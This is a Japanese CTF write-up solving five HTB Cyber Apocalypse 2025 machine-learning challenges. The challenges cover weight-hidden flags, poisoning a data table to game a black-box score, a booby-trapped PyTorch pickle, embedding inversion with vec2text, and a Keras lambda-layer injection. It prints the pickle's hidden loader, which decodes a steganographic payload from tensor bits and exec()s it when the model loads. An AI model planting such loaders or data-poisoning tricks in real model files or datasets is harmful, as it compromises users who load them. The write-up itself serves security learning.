HTB Cyber Apocalypse CTF 2025 - ML Writeup
はじめに
HTB Cyber Apocalypse CTF 2025に参加していました。開催期間5日間、総Flag数77のボリュームで、ML/AI, BlockChainなど出題頻度の低いジャンルもあり楽しめました。AIに対する攻撃を扱う出題増加を期待し、このwriteupでは5題全完したML問の解法をまとめます。機械学習エンジニアの人にもCTFに興味を持つきっかけになれば幸いです。
Enchanted Weights (925pts, easy)
出題形式
配布物: eldorian_artifact.pth
テーマ: pytorchモデルの重みに含まれるflagの特定
-
Netronで読み込んでモデル可視化
- 重み(40x40)を調べると容易にASCII文字列を見つかる
import numpy as np
# 抽出した重み
data = np.load("tensor.npy")
# 0以外の値を取得
nonzero_values = data[data != 0]
# 値をuint8に変換
ascii_bytes = nonzero_values.astype(np.uint8)
# ASCII文字列に変換
ascii_string = ''.join(map(chr, ascii_bytes))
print(ascii_string)
>>> HTB{Cry5t4l_RuN3s_0f_Eld0r1a}___________
HTB{Cry5t4l_RuN3s_0f_Eld0r1a}
Wasteland (975pts, Medium)
出題形式
配布物: Ashen_Outpost_Records.csv
判定用サーバあり
テーマ: スコア算出方法の予測と表データの改変
csvデータは31人分のデータであり、IDと4つ特徴量{Dragonfire_Resistance(DR),Shadow_Crimes(SC),Corruption_Mutations(CM),Reputation(R)}を持つ
- 対象(ID:1337)の内部評価値(Rとは異なる)を上げる(20→60)ことが目的
- 内部評価値と不正検知のアルゴリズムはブラックボックス
- 判定用サーバにて対象の内部評価値がわかる、対象以外の内部評価値は不明
- 対象のデータを改ざんして提出すると不正判定があるため、対象以外の30データの改変による内部評価値上昇を目指す
- 内部評価値はRと相関すると仮定し、R≃R_pred=DR+aSC+bCMで近似し、対象のR_predの増加を目指す
- 初期状態は上記式の係数a,bが負の値
- 評価を上げる対象は{66,3,2,55}のため、a,bが正の値になるように対象以外のRを改ざん
例えば{86,5,6,56}→{86,5,6,99}, {86,0,0,86}→{86,0,0,40} - 調整を繰り返すとスコア60を達成し、提出サーバよりflagが提示
-
HTB{4sh3n_D4t4_M4st3r}
改ざん前(左)と改ざん後(右)の評価値Rと予測評価値R_pred
Crystal Corruption (950pts, Medium)
出題形式
配布物: resnet18.pth
テーマ: pytorchモデルに埋め込まれた攻撃コードの分析
- モデルをロードすると
torch.load("resnet18.pth")
>>> Connecting to 127.0.0.1
>>> Delivering payload to 127.0.0.1
>>> Executing payload on 127.0.0.1
>>> You have been pwned!
不正なコードを実行されてしまったかに見える表示が出力
2. resnet18.pthは圧縮ファイルと同様の形式なので、7zipで展開して出てきたdata.pklを解読する
以下のpythonコードがテキストとして読み取れるデータとして格納(コメントは追加したもの)
import sys
import torch
# テンソルの内部データからビット操作により隠しメッセージを抽出
def stego_decode(tensor, n=3):
import struct
import hashlib
import numpy
# ビット列として抽出したのち、バイト列へ再構成
bits = numpy.unpackbits(tensor.view(dtype=numpy.uint8))
payload = numpy.packbits(numpy.concatenate([numpy.vstack(tuple([bits[i::tensor.dtype.itemsize * 8] for i in range(8-n, 8)])).ravel("F")])).tobytes()
(size, checksum) = struct.unpack("i 64s", payload[:68])
message = payload[68:68+size]
return message
# 関数呼び出しや戻り値のタイミングに介入するトレース関数
def call_and_return_tracer(frame, event, arg):
global return_tracer
global stego_decode
# 実行時にstego_decode関数により、payloadを実行
def return_tracer(frame, event, arg):
if torch.is_tensor(arg):
payload = stego_decode(arg.data.numpy(), n=3)
if payload is not None:
sys.settrace(None)
exec(payload.decode("utf-8"))
# _rebuild_tensor_v2呼び出しを検出
if event == "call" and frame.f_code.co_name == "_rebuild_tensor_v2":
frame.f_trace_lines = False
return return_tracer
sys.settrace(call_and_return_tracer)
- モデルロード時の実行順は
torch._utils._rebuild_tensor_v2呼び出し
→ call_and_return_tracer
→ return_tracer
payload.decode("utf-8")の中身を知ることを目指す - _rebuild_tensor_v2をオーバーライドし
オリジナル関数でprint("Payload:", payload.decode("utf-8"))出力させる
# オリジナルの _rebuild_tensor_v2 を保存
original_rebuild_tensor_v2 = torch._utils._rebuild_tensor_v2
def my_rebuild_tensor_v2(storage, storage_offset, size, stride, requires_grad, backward_hooks):
# オリジナル関数を実行
tensor = original_rebuild_tensor_v2(storage, storage_offset, size, stride, requires_grad, backward_hooks)
try:
if torch.is_tensor(tensor):
payload = stego_decode(tensor.numpy(), n=3)
if payload is not None:
# payloadの出力
print("Payload:", payload.decode("utf-8"))
exec(payload.decode("utf-8"))
except Exception as e:
print(e)
return tensor
# オーバーライド
torch._utils._rebuild_tensor_v2 = my_rebuild_tensor_v2
- デコードしたpayloadにhidden_flagが見つかる
import os
def exploit():
connection = f"Connecting to 127.0.0.1"
payload = f"Delivering payload to 127.0.0.1"
result = f"Executing payload on 127.0.0.1"
print(connection)
print(payload)
print(result)
print("You have been pwned!")
hidden_flag = "HTB{n3v3r_tru5t_p1ckl3_m0d3ls}"
exploit()
HTB{n3v34_tru5t_p1ckl3_m0d3ls}
Reverse Prompt (975pts, Medium)
出題形式
配布物: gtr_embeddings.npy
判定用サーバあり
テーマ: 言語モデルの埋め込み表現から文字列を復元する埋め込み反転攻撃
- ファイル名と768次元であることから、gtr-t5-baseによる埋め込み表現だと推定
- 検索により、vec2textを使えばgtr-t5-baseモデルの復元が可能だとわかる
- サンプルコードをそのまま動かしても文字列復元できなかったが、ビームサーチを設定することで成功: "The secret passphrase is terminalinit"
誤った復元例は"The secret terminalphrase is passinit"など
import datasets
import vec2text
import torch
import numpy as np
from transformers import AutoModel, AutoTokenizer
encoder = AutoModel.from_pretrained("sentence-transformers/gtr-t5-base").encoder.to("cuda")
tokenizer = AutoTokenizer.from_pretrained("sentence-transformers/gtr-t5-base")
corrector = vec2text.load_pretrained_corrector("gtr-base")
embeddings = np.load("gtr_embeddings.npy")
embeddings_tensor = torch.from_numpy(embeddings).cuda()
result = vec2text.invert_embeddings_and_return_hypotheses(
embeddings=embeddings_tensor,
corrector=corrector,
num_steps=20,
sequence_beam_width=4,
)
print(result)
>>> ([['secretinit secretinit terminalpassphrase'], [' secret terminalphrase is passinit'], [' . The secret terminalphrase is passinit'], [' . The secret terminalphrase is terminalinit'], [' . The secret passwordphrase is terminalinit'], [' . The secret passphrase is terminalinit ']... # 以下省略
- 判定用サーバにパスフレーズ"terminalinit"を提出し、flag獲得
HTB{AI_S3cr3ts_Unve1l3d}
Malakar's Deception (975pts, Hard)
出題形式
配布物: malicious.h5
テーマ: tensorflowモデルに埋め込まれたflagの特定
-
Netronで可視化すると
h5(HDF5)形式のMobileNetを改変したようなモデルであり、predictionsの後の最終層にhyper denseと命名されたlambda layerがあり、codeらしきものがある
-
Keras lambda layerはPython バイトコードをシリアル化して保存できる
-
disモジュールを使ってバイトコードをデシリアライズ
import keras
import dis
model = keras.models.load_model('malicious.h5', compile=False)
# 最終層(Lambda: hyperDense)の取得
lambda_layer = model.layers[-1]
# Lambda レイヤーの config 情報の表示
layer_config = lambda_layer.get_config()
print("Lambda Layer Config:")
print(layer_config)
# Lambda レイヤー内部の関数のコードオブジェクトの取得
code_obj = lambda_layer.function.__code__
# dis モジュールを用いてバイトコードの表示
print("\nDisassembled Bytecode:")
dis.dis(code_obj)
- LOAD_CONSTにある変数がASCIIコードであり、flagになっている
HTB{k3r4S_L4y3r_1nj3ct10n}
所感
MLジャンルは珍しいためか全体的な難易度は易しめ。CTF界で出題が増えることによる難化を期待したい。公式の解法が公開されており、解法が異なるものもある。
Discussion